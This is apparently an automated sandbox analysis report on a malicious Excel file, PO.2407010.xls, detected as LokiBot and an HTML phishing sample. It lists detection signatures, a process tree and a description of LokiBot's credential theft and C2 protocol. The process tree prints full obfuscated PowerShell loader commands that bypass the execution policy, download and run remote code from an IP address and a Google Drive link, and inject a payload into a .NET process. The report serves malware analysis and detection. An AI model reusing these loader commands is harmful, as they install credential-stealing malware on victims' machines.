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Windows
Analysis Report
PO.2407010.xls
Overview
General Information
Detection
HTMLPhisher, Lokibot
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Lokibot
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Searches the installation path of Mozilla Firefox
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3268 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3572 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 3656 cmdline:
"C:\Window s\sYSTEM32 \windOWSPo werShell\V 1.0\POWeRS Hell.eXE" "poweRSheL l.EXe -eX byPASS -noP -W 1 -c dEVicECR EdeNtiaLDe PlOymenT ; Iex($(I EX('[sYstE m.tExT.enC Oding]'+[c har]0X3a+[ char]0x3A+ 'UtF8.GETS tRIng([syS TEM.convER t]'+[CHAR] 58+[CHar]5 8+'fRoMbas e64STriNg( '+[Char]0x 22+'JFZENm I1TUtGICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg PSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGFEZC 10eVBFICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LU1FTWJFcm RFRmlOSXRJ T24gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAnW0 RsbEltcG9y dCgiVVJMTW 9uLkRsbCIs ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgQ2hhcl NldCA9IENo YXJTZXQuVW 5pY29kZSld cHVibGljIH N0YXRpYyBl eHRlcm4gSW 50UHRyIFVS TERvd25sb2 FkVG9GaWxl KEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIGtHRENP eUFFdkgsc3 RyaW5nICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg d3Esc3RyaW 5nICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgZkhu Sk9PQWdhTC x1aW50ICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ZmNMV0JuWC xJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBiS2cpOy cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAtTmFt RSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICJ3Tn ZtcExmRlp2 IiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OYU 1lU1BBQ0Ug ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICB0cU9kWV BRUCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1Q YXNzVGhydT sgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAkVkQ2 YjVNS0Y6Ol VSTERvd25s b2FkVG9GaW xlKDAsImh0 dHA6Ly8xOT guNDYuMTc4 LjE1MS82Ni 9zZWVtZXRo ZWJlc3R0aG luZ3N3aXRo Z3JlYXRuZW Vkc3dpdGhn b29kZm9ybW V3aXRoLnRJ RiIsIiRFTn Y6QVBQREFU QVxzZWVtZX RoZWJlc3R0 aGluZ3N3aX RoZ3JlYXRu ZWVkc3dpdG hnby52YnMi LDAsMCk7c3 RBcnQtU2xF ZXAoMyk7c1 RBUlQgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAi JGVOdjpBUF BEQVRBXHNl ZW1ldGhlYm VzdHRoaW5n c3dpdGhncm VhdG5lZWRz d2l0aGdvLn ZicyI='+[c HAr]34+')) ')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3764 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -eX byPASS -noP -W 1 -c dEVicE CREdeNtiaL DePlOymenT MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3856 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\brij5b tb\brij5bt b.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3864 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES7224.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\bri j5btb\CSCD 2DC83D8CE3 4483988FC3 1C99ACC1C8 B.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3956 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeme thebestthi ngswithgre atneedswit hgo.vbs" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 4004 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiAoICRTSE VMbGlkWzFd KyRzaEVsbE lkWzEzXSsn WCcpICgoJ2 p2TWltYWdl VXJsID0gdU NiaHR0cHM6 Ly9kcml2ZS 5nb29nbGUu Y29tL3VjP2 V4cG9ydD1k b3dubG9hZC ZpZD0xQUlW Z0pKSnYxRj Z2UzRzVU95 Ym5ILXNEdl VoQll3dXIg dUNiO2p2TX dlYkNsaWVu dCA9IE5ldy 1PYmplYycr J3QgU3lzdG VtLk5ldC5X ZWJDbGllbn Q7anZNaW1h Z2VCJysneX RlJysncyA9 IGp2TXdlYk NsaWVudC5E b3dubG9hZE RhJysndGEo anZNaW1hZ2 VVcmwpO2p2 TWltYWdlVG V4dCA9IFtT eXN0ZW0uVG V4dC5FbmNv ZGluZ106Ol VURjguR2V0 U3RyaW5nKG p2TWltYWdl Qnl0ZXMpO2 p2TXN0YXJ0 RmxhZyA9IH VDYjw8QkFT RTY0X1NUQV JUPj51Q2I7 anZNZW5kJy snRmxhZyA9 IHVDYjw8Qk FTRTY0X0VO RD4+dUNiO2 p2TXN0YXJ0 SW5kZXggPS Bqdk1pbWFn ZVRleHQuSW 5kZXhPZihq dk1zdGFydE ZsYWcpO2p2 TWVuZEluZG V4ID0ganZN aW1hZ2VUZX h0JysnLklu ZGV4T2YnKy coanZNZW5k RmxhZyk7an ZNc3RhcnRJ bmRleCAtZ2 UgMCAtYW5k IGp2TWVuZE luZGV4IC1n dCBqdk1zdG FydEluZGV4 O2p2TXN0YX J0SW5kZXgg Kz0ganZNc3 RhcnRGbGFn Lkxlbmd0aD tqdk1iYXNl NjRMZW5ndG ggPSBqdk1l bmRJJysnbm RleCAtIGp2 TXN0YXJ0SW 5kZScrJ3g7 anZNYmFzZT Y0Q29tbWFu ZCA9IGp2TW ltYWdlVGV4 dC5TdWJzdH JpbmcoanZN c3RhcnRJbm RleCwganZN YmFzZTY0TG VuZ3RoKTtq dk0nKydiYX NlNjRSZXZl cnNlZCA9IC 1qb2luIChq dk1iYXNlNj RDb21tYW5k LlRvQ2hhck FycmF5KCcr JykgbnJFIE ZvckVhJysn Y2gtT2JqZW N0IHsganZN XyB9KVstMS 4uLShqdk1i YXNlNjRDb2 1tYW5kLkxl bmd0aCldO2 p2TWNvbW1h bmRCeXRlcy A9IFtTeXN0 ZW0uQ29udm VydF06OkZy b21CYXNlNj RTdHJpbmco anZNYmFzZT Y0UmV2ZXJz ZWQpO2p2TW xvYWRlZEFz c2VtYmx5IC crJz0gW1N5 Jysnc3RlbS 5SZWZsZWN0 aW9uLkFzc2 VtYmx5XTo6 TG9hZChqdk 1jb21tYW5k Qnl0ZXMpO2 p2TXZhaU1l dGhvZCA9IF tkbmxpYi5J Ty5Ib21lXS crJy5HZXRN ZXRob2QnKy codUNiVkFJ dUNiKTtqdk 12YWlNZXRo b2QuSW52b2 tlKGp2TW51 bGwsIEAodU NidHh0Licr J0dST0wnKy dMLzY2LzE1 MS44NzEuNj QuODkxLycr Jy86cHR0aH VDJysnYiwg dUNiZGVzYX RpdmFkb3VD YiwgdUNiZG VzYScrJ3Rp dmFkb3VDYi wgdUNiZGVz YXRpdmFkb3 VDYicrJywg dUNiYXNwbi crJ2UnKyd0 X3JlZ2Jyb3 dzZXJzdUNi LCB1Q2JkZX NhdGl2YWRv dUNiLCB1Q2 JkZXNhdGl2 YWRvdUNiLH VDYmRlc2F0 aXZhZG91Q2 IsdUNiZGVz YXRpdmFkb3 VDYix1Q2Jk ZXNhdGl2YW RvdUNiLHVD YmRlc2F0aX ZhZG91Q2Is dUNiZGVzYS crJ3RpdmFk b3VDYix1Q2 IxdUNiLHVD YmRlc2F0aX ZhZG91Q2Ip KTsnKS5SZX BsQWNlKCdq dk0nLCckJy kuUmVwbEFj ZSgndUNiJy xbc1RyaW5H XVtjaGFSXT M5KS5SZXBs QWNlKChbY2 hhUl0xMTAr W2NoYVJdMT E0K1tjaGFS XTY5KSxbc1 RyaW5HXVtj aGFSXTEyNC kp';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 4092 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "& ( $ SHELlid[1] +$shEllId[ 13]+'X') ( ('jvMimage Url = uCbh ttps://dri ve.google. com/uc?exp ort=downlo ad&id=1AIV gJJJv1F6vS 4sUOybnH-s DvUhBYwur uCb;jvMweb Client = N ew-Objec'+ 't System. Net.WebCli ent;jvMima geB'+'yte' +'s = jvMw ebClient.D ownloadDa' +'ta(jvMim ageUrl);jv MimageText = [System .Text.Enco ding]::UTF 8.GetStrin g(jvMimage Bytes);jvM startFlag = uCb<<BAS E64_START> >uCb;jvMen d'+'Flag = uCb<<BASE 64_END>>uC b;jvMstart Index = jv MimageText .IndexOf(j vMstartFla g);jvMendI ndex = jvM imageText' +'.IndexOf '+'(jvMend Flag);jvMs tartIndex -ge 0 -and jvMendInd ex -gt jvM startIndex ;jvMstartI ndex += jv MstartFlag .Length;jv Mbase64Len gth = jvMe ndI'+'ndex - jvMstar tInde'+'x; jvMbase64C ommand = j vMimageTex t.Substrin g(jvMstart Index, jvM base64Leng th);jvM'+' base64Reve rsed = -jo in (jvMbas e64Command .ToCharArr ay('+') nr E ForEa'+' ch-Object { jvM_ })[ -1..-(jvMb ase64Comma nd.Length) ];jvMcomma ndBytes = [System.Co nvert]::Fr omBase64St ring(jvMba se64Revers ed);jvMloa dedAssembl y '+'= [Sy '+'stem.Re flection.A ssembly]:: Load(jvMco mmandBytes );jvMvaiMe thod = [dn lib.IO.Hom e]'+'.GetM ethod'+'(u CbVAIuCb); jvMvaiMeth od.Invoke( jvMnull, @ (uCbtxt.'+ 'GROL'+'L/ 66/151.871 .64.891/'+ '/:ptthuC' +'b, uCbde sativadouC b, uCbdesa '+'tivadou Cb, uCbdes ativadouCb '+', uCbas pn'+'e'+'t _regbrowse rsuCb, uCb desativado uCb, uCbde sativadouC b,uCbdesat ivadouCb,u Cbdesativa douCb,uCbd esativadou Cb,uCbdesa tivadouCb, uCbdesa'+' tivadouCb, uCb1uCb,uC bdesativad ouCb));'). ReplAce('j vM','$').R eplAce('uC b',[sTrinG ][chaR]39) .ReplAce(( [chaR]110+ [chaR]114+ [chaR]69), [sTrinG][c haR]124))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - aspnet_regbrowsers.exe (PID: 3824 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_regbro wsers.exe" MD5: 04AA198D72229AEED129DC20201BF030) - mshta.exe (PID: 364 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 928 cmdline:
"C:\Window s\sYSTEM32 \windOWSPo werShell\V 1.0\POWeRS Hell.eXE" "poweRSheL l.EXe -eX byPASS -noP -W 1 -c dEVicECR EdeNtiaLDe PlOymenT ; Iex($(I EX('[sYstE m.tExT.enC Oding]'+[c har]0X3a+[ char]0x3A+ 'UtF8.GETS tRIng([syS TEM.convER t]'+[CHAR] 58+[CHar]5 8+'fRoMbas e64STriNg( '+[Char]0x 22+'JFZENm I1TUtGICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg PSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGFEZC 10eVBFICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LU1FTWJFcm RFRmlOSXRJ T24gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAnW0 RsbEltcG9y dCgiVVJMTW 9uLkRsbCIs ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgQ2hhcl NldCA9IENo YXJTZXQuVW 5pY29kZSld cHVibGljIH N0YXRpYyBl eHRlcm4gSW 50UHRyIFVS TERvd25sb2 FkVG9GaWxl KEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIGtHRENP eUFFdkgsc3 RyaW5nICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg d3Esc3RyaW 5nICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgZkhu Sk9PQWdhTC x1aW50ICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ZmNMV0JuWC xJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBiS2cpOy cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAtTmFt RSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICJ3Tn ZtcExmRlp2 IiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OYU 1lU1BBQ0Ug ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICB0cU9kWV BRUCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1Q YXNzVGhydT sgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAkVkQ2 YjVNS0Y6Ol VSTERvd25s b2FkVG9GaW xlKDAsImh0 dHA6Ly8xOT guNDYuMTc4 LjE1MS82Ni 9zZWVtZXRo ZWJlc3R0aG luZ3N3aXRo Z3JlYXRuZW Vkc3dpdGhn b29kZm9ybW V3aXRoLnRJ RiIsIiRFTn Y6QVBQREFU QVxzZWVtZX RoZWJlc3R0 aGluZ3N3aX RoZ3JlYXRu ZWVkc3dpdG hnby52YnMi LDAsMCk7c3 RBcnQtU2xF ZXAoMyk7c1 RBUlQgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAi JGVOdjpBUF BEQVRBXHNl ZW1ldGhlYm VzdHRoaW5n c3dpdGhncm VhdG5lZWRz d2l0aGdvLn ZicyI='+[c HAr]34+')) ')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 2880 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -eX byPASS -noP -W 1 -c dEVicE CREdeNtiaL DePlOymenT MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3340 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\jk3wn0 wt\jk3wn0w t.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3320 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESB606.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\jk3 wn0wt\CSCA 3D842248D9 345F9BBF58 E745EE55AE .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3436 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeme thebestthi ngswithgre atneedswit hgo.vbs" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3696 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiAoICRTSE VMbGlkWzFd KyRzaEVsbE lkWzEzXSsn WCcpICgoJ2 p2TWltYWdl VXJsID0gdU NiaHR0cHM6 Ly9kcml2ZS 5nb29nbGUu Y29tL3VjP2 V4cG9ydD1k b3dubG9hZC ZpZD0xQUlW Z0pKSnYxRj Z2UzRzVU95 Ym5ILXNEdl VoQll3dXIg dUNiO2p2TX dlYkNsaWVu dCA9IE5ldy 1PYmplYycr J3QgU3lzdG VtLk5ldC5X ZWJDbGllbn Q7anZNaW1h Z2VCJysneX RlJysncyA9 IGp2TXdlYk NsaWVudC5E b3dubG9hZE RhJysndGEo anZNaW1hZ2 VVcmwpO2p2 TWltYWdlVG V4dCA9IFtT eXN0ZW0uVG V4dC5FbmNv ZGluZ106Ol VURjguR2V0 U3RyaW5nKG p2TWltYWdl Qnl0ZXMpO2 p2TXN0YXJ0 RmxhZyA9IH VDYjw8QkFT RTY0X1NUQV JUPj51Q2I7 anZNZW5kJy snRmxhZyA9 IHVDYjw8Qk FTRTY0X0VO RD4+dUNiO2 p2TXN0YXJ0 SW5kZXggPS Bqdk1pbWFn ZVRleHQuSW 5kZXhPZihq dk1zdGFydE ZsYWcpO2p2 TWVuZEluZG V4ID0ganZN aW1hZ2VUZX h0JysnLklu ZGV4T2YnKy coanZNZW5k RmxhZyk7an ZNc3RhcnRJ bmRleCAtZ2 UgMCAtYW5k IGp2TWVuZE luZGV4IC1n dCBqdk1zdG FydEluZGV4 O2p2TXN0YX J0SW5kZXgg Kz0ganZNc3 RhcnRGbGFn Lkxlbmd0aD tqdk1iYXNl NjRMZW5ndG ggPSBqdk1l bmRJJysnbm RleCAtIGp2 TXN0YXJ0SW 5kZScrJ3g7 anZNYmFzZT Y0Q29tbWFu ZCA9IGp2TW ltYWdlVGV4 dC5TdWJzdH JpbmcoanZN c3RhcnRJbm RleCwganZN YmFzZTY0TG VuZ3RoKTtq dk0nKydiYX NlNjRSZXZl cnNlZCA9IC 1qb2luIChq dk1iYXNlNj RDb21tYW5k LlRvQ2hhck FycmF5KCcr JykgbnJFIE ZvckVhJysn Y2gtT2JqZW N0IHsganZN XyB9KVstMS 4uLShqdk1i YXNlNjRDb2 1tYW5kLkxl bmd0aCldO2 p2TWNvbW1h bmRCeXRlcy A9IFtTeXN0 ZW0uQ29udm VydF06OkZy b21CYXNlNj RTdHJpbmco anZNYmFzZT Y0UmV2ZXJz ZWQpO2p2TW xvYWRlZEFz c2VtYmx5IC crJz0gW1N5 Jysnc3RlbS 5SZWZsZWN0 aW9uLkFzc2 VtYmx5XTo6 TG9hZChqdk 1jb21tYW5k Qnl0ZXMpO2 p2TXZhaU1l dGhvZCA9IF tkbmxpYi5J Ty5Ib21lXS crJy5HZXRN ZXRob2QnKy codUNiVkFJ dUNiKTtqdk 12YWlNZXRo b2QuSW52b2 tlKGp2TW51 bGwsIEAodU NidHh0Licr J0dST0wnKy dMLzY2LzE1 MS44NzEuNj QuODkxLycr Jy86cHR0aH VDJysnYiwg dUNiZGVzYX RpdmFkb3VD YiwgdUNiZG VzYScrJ3Rp dmFkb3VDYi wgdUNiZGVz YXRpdmFkb3 VDYicrJywg dUNiYXNwbi crJ2UnKyd0 X3JlZ2Jyb3 dzZXJzdUNi LCB1Q2JkZX NhdGl2YWRv dUNiLCB1Q2 JkZXNhdGl2 YWRvdUNiLH VDYmRlc2F0 aXZhZG91Q2 IsdUNiZGVz YXRpdmFkb3 VDYix1Q2Jk ZXNhdGl2YW RvdUNiLHVD YmRlc2F0aX ZhZG91Q2Is dUNiZGVzYS crJ3RpdmFk b3VDYix1Q2 IxdUNiLHVD YmRlc2F0aX ZhZG91Q2Ip KTsnKS5SZX BsQWNlKCdq dk0nLCckJy kuUmVwbEFj ZSgndUNiJy xbc1RyaW5H XVtjaGFSXT M5KS5SZXBs QWNlKChbY2 hhUl0xMTAr W2NoYVJdMT E0K1tjaGFS XTY5KSxbc1 RyaW5HXVtj aGFSXTEyNC kp';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3588 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "& ( $ SHELlid[1] +$shEllId[ 13]+'X') ( ('jvMimage Url = uCbh ttps://dri ve.google. com/uc?exp ort=downlo ad&id=1AIV gJJJv1F6vS 4sUOybnH-s DvUhBYwur uCb;jvMweb Client = N ew-Objec'+ 't System. Net.WebCli ent;jvMima geB'+'yte' +'s = jvMw ebClient.D ownloadDa' +'ta(jvMim ageUrl);jv MimageText = [System .Text.Enco ding]::UTF 8.GetStrin g(jvMimage Bytes);jvM startFlag = uCb<<BAS E64_START> >uCb;jvMen d'+'Flag = uCb<<BASE 64_END>>uC b;jvMstart Index = jv MimageText .IndexOf(j vMstartFla g);jvMendI ndex = jvM imageText' +'.IndexOf '+'(jvMend Flag);jvMs tartIndex -ge 0 -and jvMendInd ex -gt jvM startIndex ;jvMstartI ndex += jv MstartFlag .Length;jv Mbase64Len gth = jvMe ndI'+'ndex - jvMstar tInde'+'x; jvMbase64C ommand = j vMimageTex t.Substrin g(jvMstart Index, jvM base64Leng th);jvM'+' base64Reve rsed = -jo in (jvMbas e64Command .ToCharArr ay('+') nr E ForEa'+' ch-Object { jvM_ })[ -1..-(jvMb ase64Comma nd.Length) ];jvMcomma ndBytes = [System.Co nvert]::Fr omBase64St ring(jvMba se64Revers ed);jvMloa dedAssembl y '+'= [Sy '+'stem.Re flection.A ssembly]:: Load(jvMco mmandBytes );jvMvaiMe thod = [dn lib.IO.Hom e]'+'.GetM ethod'+'(u CbVAIuCb); jvMvaiMeth od.Invoke( jvMnull, @ (uCbtxt.'+ 'GROL'+'L/ 66/151.871 .64.891/'+ '/:ptthuC' +'b, uCbde sativadouC b, uCbdesa '+'tivadou Cb, uCbdes ativadouCb '+', uCbas pn'+'e'+'t _regbrowse rsuCb, uCb desativado uCb, uCbde sativadouC b,uCbdesat ivadouCb,u Cbdesativa douCb,uCbd esativadou Cb,uCbdesa tivadouCb, uCbdesa'+' tivadouCb, uCb1uCb,uC bdesativad ouCb));'). ReplAce('j vM','$').R eplAce('uC b',[sTrinG ][chaR]39) .ReplAce(( [chaR]110+ [chaR]114+ [chaR]69), [sTrinG][c haR]124))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
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JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
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JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
